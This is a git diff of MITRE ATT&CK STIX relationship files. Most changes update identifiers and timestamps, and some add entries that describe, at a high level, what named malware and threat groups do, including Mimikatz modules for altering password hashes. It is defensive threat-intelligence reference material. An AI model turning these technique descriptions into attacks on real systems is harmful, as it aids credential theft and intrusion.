--- a/enterprise-attack/relationship/relationship--6c9649b7-00c6-4503-a911-9e8b9086eac4.json
+++ b/enterprise-attack/relationship/relationship--6c9649b7-00c6-4503-a911-9e8b9086eac4.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d7d612a0-b168-43f7-90e1-66e9b3c3691e",
+    "id": "bundle--c66407eb-e76b-406b-a99e-f8459db725ad",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--6c9649b7-00c6-4503-a911-9e8b9086eac4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "When it first starts, BADNEWS crawls the victim's mapped drives and collects documents with the following extensions: .doc, .docx, .pdf, .ppt, .pptx, and .txt.",
             "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63",
diff --git a/enterprise-attack/relationship/relationship--6ce3735c-bfae-4eec-ab6b-bbf08cb7d60f.json b/enterprise-attack/relationship/relationship--6ce3735c-bfae-4eec-ab6b-bbf08cb7d60f.json
index c53f772009..36ed1c4122 100644
--- a/enterprise-attack/relationship/relationship--6ce3735c-bfae-4eec-ab6b-bbf08cb7d60f.json
+++ b/enterprise-attack/relationship/relationship--6ce3735c-bfae-4eec-ab6b-bbf08cb7d60f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--cc55d273-cc40-4c1a-86de-36ee02d4dd5c",
+    "id": "bundle--08e71296-f5a9-4c41-984c-917754eb14b6",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--6ce3735c-bfae-4eec-ab6b-bbf08cb7d60f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Prikormka uses DLL search order hijacking for persistence by saving itself as ntshrui.dll to the Windows directory so it will load before the legitimate ntshrui.dll saved in the System32 subdirectory.",
             "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69",
diff --git a/enterprise-attack/relationship/relationship--6cf42ee6-a064-4d8a-99d4-8aa0f878ae2a.json b/enterprise-attack/relationship/relationship--6cf42ee6-a064-4d8a-99d4-8aa0f878ae2a.json
new file mode 100644
index 0000000000..bb103ece4f
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--6cf42ee6-a064-4d8a-99d4-8aa0f878ae2a.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--bf582af5-61b8-40a0-a873-ab3c79b424b4",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--6cf42ee6-a064-4d8a-99d4-8aa0f878ae2a",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "collects the victim username and sends it to the C2 server.",
+            "source_ref": "malware--e48df773-7c95-4a4c-ba70-ea3d15900148",
+            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
+            "external_references": [
+                {
+                    "source_name": "ClearSky Charming Kitten Dec 2017",
+                    "description": "ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017.",
+                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/12/Charming%20Kitten%202017.pdf"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--6cfd1f0f-0355-4b1a-af29-84ed992bbb71.json b/enterprise-attack/relationship/relationship--6cfd1f0f-0355-4b1a-af29-84ed992bbb71.json
index 3c79db5e46..9d4cd8fab6 100644
--- a/enterprise-attack/relationship/relationship--6cfd1f0f-0355-4b1a-af29-84ed992bbb71.json
+++ b/enterprise-attack/relationship/relationship--6cfd1f0f-0355-4b1a-af29-84ed992bbb71.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e8bec687-e8cf-4423-82ce-a6862bf4956f",
+    "id": "bundle--618ad18c-dbed-46db-96c2-4732e8735587",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--6cfd1f0f-0355-4b1a-af29-84ed992bbb71",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "TINYTYPHON searches through the drive containing the OS, then all drive letters C through to Z, for documents matching certain extensions.",
             "source_ref": "malware--85b39628-204a-48d2-b377-ec368cbcb7ca",
diff --git a/enterprise-attack/relationship/relationship--6d2d4146-bf9e-4b75-9a23-052c09e99eeb.json b/enterprise-attack/relationship/relationship--6d2d4146-bf9e-4b75-9a23-052c09e99eeb.json
index 30f82e21cc..a06132c28c 100644
--- a/enterprise-attack/relationship/relationship--6d2d4146-bf9e-4b75-9a23-052c09e99eeb.json
+++ b/enterprise-attack/relationship/relationship--6d2d4146-bf9e-4b75-9a23-052c09e99eeb.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--82145e0b-76c0-4af9-9350-8030a489841b",
+    "id": "bundle--6c2dc897-3152-452f-8c24-d32c42fbfe34",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--6d2d4146-bf9e-4b75-9a23-052c09e99eeb",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "CosmicDuke uses a keylogger and steals clipboard contents from victims.",
             "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee",
diff --git a/enterprise-attack/relationship/relationship--6d51e34d-d2ee-41aa-9ec7-dc74c84ebe9f.json b/enterprise-attack/relationship/relationship--6d51e34d-d2ee-41aa-9ec7-dc74c84ebe9f.json
index 3e0c04cea5..e30f568b96 100644
--- a/enterprise-attack/relationship/relationship--6d51e34d-d2ee-41aa-9ec7-dc74c84ebe9f.json
+++ b/enterprise-attack/relationship/relationship--6d51e34d-d2ee-41aa-9ec7-dc74c84ebe9f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--51fa1a13-399d-4c04-b75a-b2e9cc713ab1",
+    "id": "bundle--a7f6c92a-f757-4a0b-aa71-7681835c902b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--6d51e34d-d2ee-41aa-9ec7-dc74c84ebe9f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RedLeaves can delete specified files.",
             "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5",
diff --git a/enterprise-attack/relationship/relationship--6d562520-86bb-4251-9431-a4958bec097c.json b/enterprise-attack/relationship/relationship--6d562520-86bb-4251-9431-a4958bec097c.json
new file mode 100644
index 0000000000..6a2a1eea2e
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--6d562520-86bb-4251-9431-a4958bec097c.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--9ead7ed1-1e47-4b6d-86bd-b8017195f287",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--6d562520-86bb-4251-9431-a4958bec097c",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "can timestomp files on victims using a Web shell.",
+            "source_ref": "malware--0998045d-f96e-4284-95ce-3c8219707486",
+            "target_ref": "attack-pattern--128c55d3-aeba-469f-bd3e-c8996ab4112a",
+            "external_references": [
+                {
+                    "source_name": "FireEye APT34 Webinar Dec 2017",
+                    "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.",
+                    "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--6d819560-bdfb-4e0a-bf56-fddcba60cdb5.json b/enterprise-attack/relationship/relationship--6d819560-bdfb-4e0a-bf56-fddcba60cdb5.json
index 77e9137256..999187314a 100644
--- a/enterprise-attack/relationship/relationship--6d819560-bdfb-4e0a-bf56-fddcba60cdb5.json
+++ b/enterprise-attack/relationship/relationship--6d819560-bdfb-4e0a-bf56-fddcba60cdb5.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9fe53450-b9a0-4e1e-8e02-d4bce4ab4e5e",
+    "id": "bundle--e1196edd-8672-4269-bf0b-0af9da1a35dd",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--6d819560-bdfb-4e0a-bf56-fddcba60cdb5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "S-Type may create a temporary user on the system named \u201cLost_{Unique Identifier}\u201d with the password \u201cpond~!@6\u201d{Unique Identifier}.\u201d",
             "source_ref": "malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131",
diff --git a/enterprise-attack/relationship/relationship--6d87588e-2202-4616-a536-e43a2606721b.json b/enterprise-attack/relationship/relationship--6d87588e-2202-4616-a536-e43a2606721b.json
index 2fa039fdd1..dad08b7cf0 100644
--- a/enterprise-attack/relationship/relationship--6d87588e-2202-4616-a536-e43a2606721b.json
+++ b/enterprise-attack/relationship/relationship--6d87588e-2202-4616-a536-e43a2606721b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--32594f0a-3211-4b58-99ef-e77ffb63fa5d",
+    "id": "bundle--33bc854d-c0cd-4a73-9da7-afe2c510ab00",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--6d87588e-2202-4616-a536-e43a2606721b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Rover searches for files on attached removable drives based on a predefined list of file extensions every five seconds.",
             "source_ref": "malware--6b616fc1-1505-48e3-8b2c-0d19337bff38",
diff --git a/enterprise-attack/relationship/relationship--6db82410-1fcf-483a-be5b-cf09c361b4eb.json b/enterprise-attack/relationship/relationship--6db82410-1fcf-483a-be5b-cf09c361b4eb.json
new file mode 100644
index 0000000000..178e414d51
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--6db82410-1fcf-483a-be5b-cf09c361b4eb.json
@@ -0,0 +1,33 @@
+{
+    "type": "bundle",
+    "id": "bundle--746b7526-e855-4d5c-b893-9a6b0ba6ec0f",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--6db82410-1fcf-483a-be5b-cf09c361b4eb",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Daserf can take screenshots.",
+            "source_ref": "malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a",
+            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
+            "external_references": [
+                {
+                    "source_name": "Trend Micro Daserf Nov 2017",
+                    "description": "Chen, J. and Hsieh, M. (2017, November 7). REDBALDKNIGHT/BRONZE BUTLER\u2019s Daserf Backdoor Now Using Steganography. Retrieved December 27, 2017.",
+                    "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/"
+                },
+                {
+                    "source_name": "Secureworks BRONZE BUTLER Oct 2017",
+                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
+                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--6dbb3a1e-5fb4-4494-950c-570616302ece.json b/enterprise-attack/relationship/relationship--6dbb3a1e-5fb4-4494-950c-570616302ece.json
new file mode 100644
index 0000000000..b7a5581a88
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--6dbb3a1e-5fb4-4494-950c-570616302ece.json
@@ -0,0 +1,20 @@
+{
+    "type": "bundle",
+    "id": "bundle--d20d9944-8316-477f-83e4-1c8746c34286",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--6dbb3a1e-5fb4-4494-950c-570616302ece",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T18:59:16.545Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "source_ref": "intrusion-set--dcd81c6e-ebf7-4a16-93e0-9a97fa49c88a",
+            "target_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--6dc0543b-1a60-4e9a-9527-595220854f53.json b/enterprise-attack/relationship/relationship--6dc0543b-1a60-4e9a-9527-595220854f53.json
index 3b39a4321d..f65c4b04c6 100644
--- a/enterprise-attack/relationship/relationship--6dc0543b-1a60-4e9a-9527-595220854f53.json
+++ b/enterprise-attack/relationship/relationship--6dc0543b-1a60-4e9a-9527-595220854f53.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--6982807f-9eab-40cf-951e-5a8f2ab4fef1",
+    "id": "bundle--964162b5-166f-4eec-8428-2a76ad6e52b7",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--6dc0543b-1a60-4e9a-9527-595220854f53",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Cobalt Strike can recover hashed passwords.",
             "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39",
diff --git a/enterprise-attack/relationship/relationship--6deeb486-90c3-4279-8549-17c81ea2466b.json b/enterprise-attack/relationship/relationship--6deeb486-90c3-4279-8549-17c81ea2466b.json
index bbb558b428..b09f372ade 100644
--- a/enterprise-attack/relationship/relationship--6deeb486-90c3-4279-8549-17c81ea2466b.json
+++ b/enterprise-attack/relationship/relationship--6deeb486-90c3-4279-8549-17c81ea2466b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--df21bcfb-40c5-4834-9107-1f6dfd8f3143",
+    "id": "bundle--251f0772-3f81-4570-ba03-d27c67bf5402",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--6deeb486-90c3-4279-8549-17c81ea2466b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Elise performs timestomping of a CAB file it creates.",
             "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913",
diff --git a/enterprise-attack/relationship/relationship--6e24d8d1-7376-493f-a85c-75448c80efed.json b/enterprise-attack/relationship/relationship--6e24d8d1-7376-493f-a85c-75448c80efed.json
index 12dc4723b3..05ee1043f7 100644
--- a/enterprise-attack/relationship/relationship--6e24d8d1-7376-493f-a85c-75448c80efed.json
+++ b/enterprise-attack/relationship/relationship--6e24d8d1-7376-493f-a85c-75448c80efed.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9f983e2a-de6f-4723-8a03-c8df4a46073b",
+    "id": "bundle--e7f7ddf4-c9d4-40f5-8614-f24eb4c961af",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--6e24d8d1-7376-493f-a85c-75448c80efed",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The CozyCar dropper copies the system file rundll32.exe to the install location for the malware, then uses the copy of rundll32.exe to load and execute the main CozyCar component.",
             "source_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754",
diff --git a/enterprise-attack/relationship/relationship--6e366a30-cf75-4a47-855f-91a006014ada.json b/enterprise-attack/relationship/relationship--6e366a30-cf75-4a47-855f-91a006014ada.json
index f9d2d3a9b9..b5f9eef8ce 100644
--- a/enterprise-attack/relationship/relationship--6e366a30-cf75-4a47-855f-91a006014ada.json
+++ b/enterprise-attack/relationship/relationship--6e366a30-cf75-4a47-855f-91a006014ada.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a234ede5-31a0-48c7-aed9-b78e951eb5fc",
+    "id": "bundle--82a96f08-e54b-4c6d-ac89-31840d3d0035",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--6e366a30-cf75-4a47-855f-91a006014ada",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.036Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
             "target_ref": "tool--b07c2c47-fefb-4d7c-a69e-6a3296171f54",
diff --git a/enterprise-attack/relationship/relationship--6e39f6fe-3808-41ae-9263-1fd23865bd7b.json b/enterprise-attack/relationship/relationship--6e39f6fe-3808-41ae-9263-1fd23865bd7b.json
index ab87aba394..895e04009f 100644
--- a/enterprise-attack/relationship/relationship--6e39f6fe-3808-41ae-9263-1fd23865bd7b.json
+++ b/enterprise-attack/relationship/relationship--6e39f6fe-3808-41ae-9263-1fd23865bd7b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--594754e1-5c1e-4b00-a64b-d24fcdf282d7",
+    "id": "bundle--5a14a53e-1f0b-46a9-aa43-c2e5f958e817",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--6e39f6fe-3808-41ae-9263-1fd23865bd7b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "A variant of Elise executes <code>dir C:\\progra~1</code> when initially run.",
             "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913",
diff --git a/enterprise-attack/relationship/relationship--6e641c36-188b-480e-b177-e412cd000b34.json b/enterprise-attack/relationship/relationship--6e641c36-188b-480e-b177-e412cd000b34.json
index 18e9cf8ff8..1d72209baf 100644
--- a/enterprise-attack/relationship/relationship--6e641c36-188b-480e-b177-e412cd000b34.json
+++ b/enterprise-attack/relationship/relationship--6e641c36-188b-480e-b177-e412cd000b34.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--4eb2d666-f07f-479e-8542-0c43dcdee09e",
+    "id": "bundle--d7e3fa88-aa97-4136-9658-b99d233003cc",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,12 +8,17 @@
             "id": "relationship--6e641c36-188b-480e-b177-e412cd000b34",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
-            "description": "The Mimikatz credential dumper has been extended to include Skeleton Key domain controller authentication bypass functionality.",
+            "description": "The Mimikatz credential dumper has been extended to include Skeleton Key domain controller authentication bypass functionality. The <code>LSADUMP::ChangeNTLM</code> and <code>LSADUMP::SetNTLM</code> modules can also manipulate the password hash of an account without knowing the clear text value.",
             "source_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60",
             "target_ref": "attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27",
             "external_references": [
+                {
+                    "source_name": "Adsecurity Mimikatz Guide",
+                    "description": "Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz & Command Reference. Retrieved December 23, 2015.",
+                    "url": "https://adsecurity.org/?page%20id=1821"
+                },
                 {
                     "source_name": "Metcalf 2015",
                     "description": "Metcalf, S. (2015, January 19). Attackers Can Now Use Mimikatz to Implant Skeleton Key on Domain Controllers & BackDoor Your Active Directory Forest. Retrieved February 3, 2015.",
diff --git a/enterprise-attack/relationship/relationship--6e6828ca-7567-4302-8ed7-fa5821dc5bbc.json b/enterprise-attack/relationship/relationship--6e6828ca-7567-4302-8ed7-fa5821dc5bbc.json
index c3368c5371..798c6f7048 100644
--- a/enterprise-attack/relationship/relationship--6e6828ca-7567-4302-8ed7-fa5821dc5bbc.json
+++ b/enterprise-attack/relationship/relationship--6e6828ca-7567-4302-8ed7-fa5821dc5bbc.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--58c12067-779a-4935-97f9-76a3d4e331a2",
+    "id": "bundle--3d751108-a22c-4b76-9ffe-4945460d9e35",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--6e6828ca-7567-4302-8ed7-fa5821dc5bbc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Threat Group-3390 has used PowerShell for execution.",
             "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
diff --git a/enterprise-attack/relationship/relationship--6e757efa-8231-4674-a1ea-e234e2dfb838.json b/enterprise-attack/relationship/relationship--6e757efa-8231-4674-a1ea-e234e2dfb838.json
index c1f5536e44..91aff3bc3c 100644
--- a/enterprise-attack/relationship/relationship--6e757efa-8231-4674-a1ea-e234e2dfb838.json
+++ b/enterprise-attack/relationship/relationship--6e757efa-8231-4674-a1ea-e234e2dfb838.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f6dbea07-7f52-46ae-a2a7-f87bf73e722d",
+    "id": "bundle--965e77d9-0274-4615-99f9-cab6ed1ef571",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--6e757efa-8231-4674-a1ea-e234e2dfb838",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.055Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Molerats actors obtained a list of active processes on the victim and sent them to C2 servers.",
             "source_ref": "intrusion-set--df71bb3b-813c-45eb-a8bc-f2a419837411",
diff --git a/enterprise-attack/relationship/relationship--6ed5961a-224a-419b-b696-8962813158f2.json b/enterprise-attack/relationship/relationship--6ed5961a-224a-419b-b696-8962813158f2.json
index 055b984cde..8b9fd57367 100644
--- a/enterprise-attack/relationship/relationship--6ed5961a-224a-419b-b696-8962813158f2.json
+++ b/enterprise-attack/relationship/relationship--6ed5961a-224a-419b-b696-8962813158f2.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e9713c09-0175-47c1-8448-db80da61bb47",
+    "id": "bundle--fc3bca00-34fa-4e2b-af01-bc2192a3cdca",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--6ed5961a-224a-419b-b696-8962813158f2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.072Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb",
             "target_ref": "tool--242f3da3-4425-4d11-8f5c-b842886da966",
diff --git a/enterprise-attack/relationship/relationship--6f01abdc-bd94-4645-afed-8d3bd365bba4.json b/enterprise-attack/relationship/relationship--6f01abdc-bd94-4645-afed-8d3bd365bba4.json
index ee4ee268aa..75928fe89b 100644
--- a/enterprise-attack/relationship/relationship--6f01abdc-bd94-4645-afed-8d3bd365bba4.json
+++ b/enterprise-attack/relationship/relationship--6f01abdc-bd94-4645-afed-8d3bd365bba4.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e3aba4a7-4463-4419-8f60-d870769fad3a",
+    "id": "bundle--e42f1b46-a229-4ceb-ac33-14fd470194b0",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--6f01abdc-bd94-4645-afed-8d3bd365bba4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "TinyZBot contains screen capture functionality.",
             "source_ref": "malware--c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9",
diff --git a/enterprise-attack/relationship/relationship--6f448f20-0349-4132-80ec-d46e94d52426.json b/enterprise-attack/relationship/relationship--6f448f20-0349-4132-80ec-d46e94d52426.json
index 4c82883fd3..8eaa30a0e1 100644
--- a/enterprise-attack/relationship/relationship--6f448f20-0349-4132-80ec-d46e94d52426.json
+++ b/enterprise-attack/relationship/relationship--6f448f20-0349-4132-80ec-d46e94d52426.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d37e381a-971d-4b6f-b1af-0e49dc7f7ec5",
+    "id": "bundle--5592bd58-dbf8-4b4b-a122-23fe14fe0c06",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--6f448f20-0349-4132-80ec-d46e94d52426",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ADVSTORESHELL can create a remote shell and run a given command.",
             "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73",
diff --git a/enterprise-attack/relationship/relationship--6f884bda-0c39-4d3b-97e3-29ae9099fa45.json b/enterprise-attack/relationship/relationship--6f884bda-0c39-4d3b-97e3-29ae9099fa45.json
index 6635bcaa78..ea60e2e948 100644
--- a/enterprise-attack/relationship/relationship--6f884bda-0c39-4d3b-97e3-29ae9099fa45.json
+++ b/enterprise-attack/relationship/relationship--6f884bda-0c39-4d3b-97e3-29ae9099fa45.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0332d981-191c-4995-aa80-eb55babc7465",
+    "id": "bundle--5c7f4896-c5ca-4ea7-8984-cd986c4ffba0",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--6f884bda-0c39-4d3b-97e3-29ae9099fa45",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Threat Group-3390 has used appcmd.exe to disable logging on a victim server.",
             "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
